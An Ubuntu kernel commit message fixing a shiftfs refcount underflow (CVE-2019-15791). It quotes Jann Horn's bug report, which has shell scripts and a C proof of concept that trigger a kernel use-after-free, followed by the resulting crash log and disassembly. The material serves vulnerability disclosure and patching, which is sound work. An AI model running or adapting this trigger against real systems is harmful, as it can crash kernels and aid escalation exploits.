UBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl handling

UBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl handling

BugLink: https://bugs.launchpad.net/bugs/1850867
shiftfs_btrfs_ioctl_fd_replace() installs an fd referencing a
file from the lower filesystem without taking an additional
reference to that file. After the btrfs ioctl completes this fd
is closed, which then puts a reference to that file, leading to a
refcount underflow. Original bug report and test case from Jann
Horn is below.

Fix this, and at the sametime simplify the management of the fd
to the lower file for the ioctl. In
shiftfs_btrfs_ioctl_fd_replace(), take the missing reference to
the lower file and set FDPUT_FPUT so that this reference will get
dropped on fdput() in error paths. Do not maintain the struct fd
in the caller, as it the fd installed in the fd table is
sufficient to properly clean up. Finally, remove the fdput() in
shiftfs_btrfs_ioctl_fd_restore() as it is redundant with the
__close_fd() call.

Original report from Jann Horn:

In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):

 src = fdget(oldfd);
 if (!src.file)
  return -EINVAL;
 // src holds one reference (assuming multithreaded execution)

 ret = shiftfs_real_fdget(src.file, lfd);
 // lfd->file is a file* now, but shiftfs_real_fdget didn't take any
 // extra references
 fdput(src);
 // this drops the only reference we were holding on src, and src was
 // the only thing holding a reference to lfd->file. lfd->file may be
 // dangling at this point.
 if (ret)
  return ret;

 *newfd = get_unused_fd_flags(lfd->file->f_flags);
 if (*newfd < 0) {
  // always a no-op
  fdput(*lfd);
  return *newfd;
 }

 fd_install(*newfd, lfd->file);
 // fd_install() consumes a counted reference, but we don't hold any
 // counted references. so at this point, if lfd->file hasn't been freed
 // yet, its refcount is one lower than it ought to be.

 [...]

 // the following code is refcount-neutral, so the refcount stays one too
 // low.
 if (ret)
  shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);

shiftfs_real_fdget() is implemented as follows:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
 struct shiftfs_file_info *file_info = file->private_data;
 struct file *realfile = file_info->realfile;

 lowerfd->flags = 0;
 lowerfd->file = realfile;

 /* Did the flags change since open? */
 if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
  return shiftfs_change_flags(lowerfd->file, file->f_flags);

 return 0;
}

Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:

=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c

int main(void) {
  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = openat(root, "foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
  sleep(1);
  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 183.510580] Call Trace:
[ 183.511396] mmap_region+0x417/0x670
[ 183.512592] do_mmap+0x3a8/0x580
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
[ 183.516155] __x64_sys_mmap+0x33/0x40
[ 183.517352] do_syscall_64+0x5a/0x130
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================

Disassembly of surrounding code:

55 push rbp
4889E5 mov rbp,rsp
4157 push r15
4156 push r14
4155 push r13
4154 push r12
488B87C8000000 mov rax,[rdi+0xc8]
4C8B6810 mov r13,[rax+0x10]
498B4528 mov rax,[r13+0x28]
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000 jz near 0xcc
4989FC mov r12,rdi
4989F6 mov r14,rsi

This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.

Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
CVE-2019-15791

Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Stefan Bader <stefan.bader@canonical.com>